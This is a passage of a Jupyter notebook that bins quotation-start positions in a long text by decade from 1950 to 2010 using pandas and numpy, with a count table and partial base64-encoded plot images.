gCrGrydnLzupf9NuDdwJc6y/oE\n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\nAAAASUVORK5CYII=\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7fb92816ed68>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "df['Date'].hist()" ] }, { "cell_type": "code", "execution_count": 6, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/plain": [ "1793446" ] }, "execution_count": 6, "metadata": {}, "output_type": "execute_result" } ], "source": [ "textALength = df['Text A Length'][0]\n", "textALength" ] }, { "cell_type": "code", "execution_count": 7, "metadata": { "collapsed": false }, "outputs": [], "source": [ "decades = np.arange(1950, 2020, 10)" ] }, { "cell_type": "code", "execution_count": 8, "metadata": { "collapsed": false, "scrolled": true }, "outputs": [], "source": [ "# Make a dictionary of decades. \n", "# Values are a list of locations. \n", "decadeDict = {}\n", "for i, row in df.iterrows():\n", " decade = row['Decade']\n", " locations = literal_eval(row['Locations in A'])\n", " if decade not in decadeDict: \n", " decadeDict[decade] = locations\n", " else: \n", " decadeDict[decade] += locations " ] }, { "cell_type": "code", "execution_count": 9, "metadata": { "collapsed": false, "scrolled": true }, "outputs": [], "source": [ "# Grab the beginnings of quotes. \n", "decadeStarts = {decade: [item[0] for item in loc] for decade, loc in decadeDict.items()}" ] }, { "cell_type": "code", "execution_count": 10, "metadata": { "collapsed": false }, "outputs": [], "source": [ "decadesBinned = {decade: \n", " np.histogram(locations, bins=50, range=(0, textALength))[0]\n", " for decade, locations in decadeStarts.items() if decade in decades}" ] }, { "cell_type": "code", "execution_count": 11, "metadata": { "collapsed": false, "scrolled": true }, "outputs": [], "source": [ "decadesDF = pd.DataFrame(decadesBinned).T" ] }, { "cell_type": "code", "execution_count": 12, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div>\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>0</th>\n", " <th>1</th>\n", " <th>2</th>\n", " <th>3</th>\n", " <th>4</th>\n", " <th>5</th>\n", " <th>6</th>\n", " <th>7</th>\n", " <th>8</th>\n", " <th>9</th>\n", " <th>...</th>\n", " <th>40</th>\n", " <th>41</th>\n", " <th>42</th>\n", " <th>43</th>\n", " <th>44</th>\n", " <th>45</th>\n", " <th>46</th>\n", " <th>47</th>\n", " <th>48</th>\n", " <th>49</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>1950.0</th>\n", " <td>5</td>\n", " <td>5</td>\n", " <td>0</td>\n", " <td>1</td>\n", " <td>0</td>\n", " <td>2</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>...</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>4</td>\n", " <td>6</td>\n", " <td>3</td>\n", " <td>1</td>\n", " <td>0</td>\n", " <td>44</td>\n", " <td>5</td>\n", " <td>4</td>\n", " </tr>\n", " <tr>\n", " <th>1960.0</th>\n", " <td>6</td>\n", " <td>3</td>\n", " <td>1</td>\n", " <td>5</td>\n", " <td>2</td>\n", " <td>4</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>12</td>\n", " <td>4</td>\n", " <td>...</td>\n", " <td>2</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>5</td>\n", " <td>0</td>\n", " <td>8</td>\n", " <td>3</td>\n", " <td>17</td>\n", " <td>3</td>\n", " <td>11</td>\n", " </tr>\n", " <tr>\n", " <th>1970.0</th>\n", " <td>40</td>\n", " <td>19</td>\n", " <td>3</td>\n", " <td>22</td>\n", " <td>6</td>\n", " <td>5</td>\n", " <td>3</td>\n", " <td>0</td>\n", " <td>10</td>\n", " <td>15</td>\n", " <td>...</td>\n", " <td>0</td>\n", " <td>2</td>\n", " <td>0</td>\n", " <td>2</td>\n", " <td>9</td>\n", " <td>1</td>\n", " <td>1</td>\n", " <td>18</td>\n", " <td>2</td>\n", " <td>17</td>\n", " </tr>\n", " <tr>\n", " <th>1980.0</th>\n", " <td>31</td>\n", " <td>13</td>\n", " <td>5</td>\n", " <td>6</td>\n", " <td>3</td>\n", " <td>6</td>\n", " <td>6</td>\n", " <td>7</td>\n", " <td>38</td>\n", " <td>7</td>\n", " <td>...</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>1</td>\n", " <td>11</td>\n", " <td>10</td>\n", " <td>13</td>\n", " <td>1</td>\n", " <td>15</td>\n", " <td>0</td>\n", " <td>26</td>\n", " </tr>\n", " <tr>\n", " <th>1990.0</th>\n", " <td>35</td>\n", " <td>13</td>\n", " <td>12</td>\n", " <td>4</td>\n", " <td>3</td>\n", " <td>12</td>\n", " <td>2</td>\n", " <td>12</td>\n", " <td>51</td>\n", " <td>16</td>\n", " <td>...</td>\n", " <td>0</td>\n", " <td>2</td>\n", " <td>8</td>\n", " <td>1</td>\n", " <td>9</td>\n", " <td>2</td>\n", " <td>15</td>\n", " <td>32</td>\n", " <td>8</td>\n", " <td>19</td>\n", " </tr>\n", " <tr>\n", " <th>2000.0</th>\n", " <td>45</td>\n", " <td>10</td>\n", " <td>10</td>\n", " <td>1</td>\n", " <td>19</td>\n", " <td>10</td>\n", " <td>2</td>\n", " <td>6</td>\n", " <td>11</td>\n", " <td>6</td>\n", " <td>...</td>\n", " <td>0</td>\n", " <td>5</td>\n", " <td>7</td>\n", " <td>2</td>\n", " <td>4</td>\n", " <td>3</td>\n", " <td>6</td>\n", " <td>7</td>\n", " <td>6</td>\n", " <td>8</td>\n", " </tr>\n", " <tr>\n", " <th>2010.0</th>\n", " <td>47</td>\n", " <td>3</td>\n", " <td>5</td>\n", " <td>2</td>\n", " <td>10</td>\n", " <td>0</td>\n", " <td>2</td>\n", " <td>1</td>\n", " <td>9</td>\n", " <td>5</td>\n", " <td>...</td>\n", " <td>2</td>\n", " <td>0</td>\n", " <td>1</td>\n", " <td>4</td>\n", " <td>7</td>\n", " <td>3</td>\n", " <td>7</td>\n", " <td>6</td>\n", " <td>1</td>\n", " <td>21</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "<p>7 rows × 50 columns</p>\n", "</div>" ], "text/plain": [ " 0 1 2 3 4 5 6 7 8 9 ... 40 41 42 43 44 45 \\\n", "1950.0 5 5 0 1 0 2 0 0 0 0 ... 0 0 4 6 3 1 \n", "1960.0 6 3 1 5 2 4 0 0 12 4 ... 2 0 0 5 0 8 \n", "1970.0 40 19 3 22 6 5 3 0 10 15 ... 0 2 0 2 9 1 \n", "1980.0 31 13 5 6 3 6 6 7 38 7 ... 0 0 1 11 10 13 \n", "1990.0 35 13 12 4 3 12 2 12 51 16 ... 0 2 8 1 9 2 \n", "2000.0 45 10 10 1 19 10 2 6 11 6 ... 0 5 7 2 4 3 \n", "2010.0 47 3 5 2 10 0 2 1 9 5 ... 2 0 1 4 7 3 \n", "\n", " 46 47 48 49 \n", "1950.0 0 44 5 4 \n", "1960.0 3 17 3 11 \n", "1970.0 1 18 2 17 \n", "1980.0 1 15 0 26 \n", "1990.0 15 32 8 19 \n", "2000.0 6 7 6 8 \n", "2010.0 7 6 1 21 \n", "\n", "[7 rows x 50 columns]" ] }, "execution_count": 12, "metadata": {}, "output_type": "execute_result" } ], "source": [ "decadesDF" ] }, { "cell_type": "code", "execution_count": 13, "metadata": { "collapsed": false }, "outputs": [], "source": [ "#Normalize\n", "decadesDF = decadesDF.div(decadesDF.max(axis=1), axis=0)" ] }, { "cell_type": "code", "execution_count": 14, "metadata": { "collapsed": false }, "outputs": [], "source": [ "ylabels = [str(int(decade)) for decade in decadesDF.index] + ['2020']" ] }, { "cell_type": "code", "execution_count": 15, "metadata": { "collapsed": false }, "outputs": [ { "data": { "image/png": "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\nzB3vpjMRAlXA8mLKQOQvo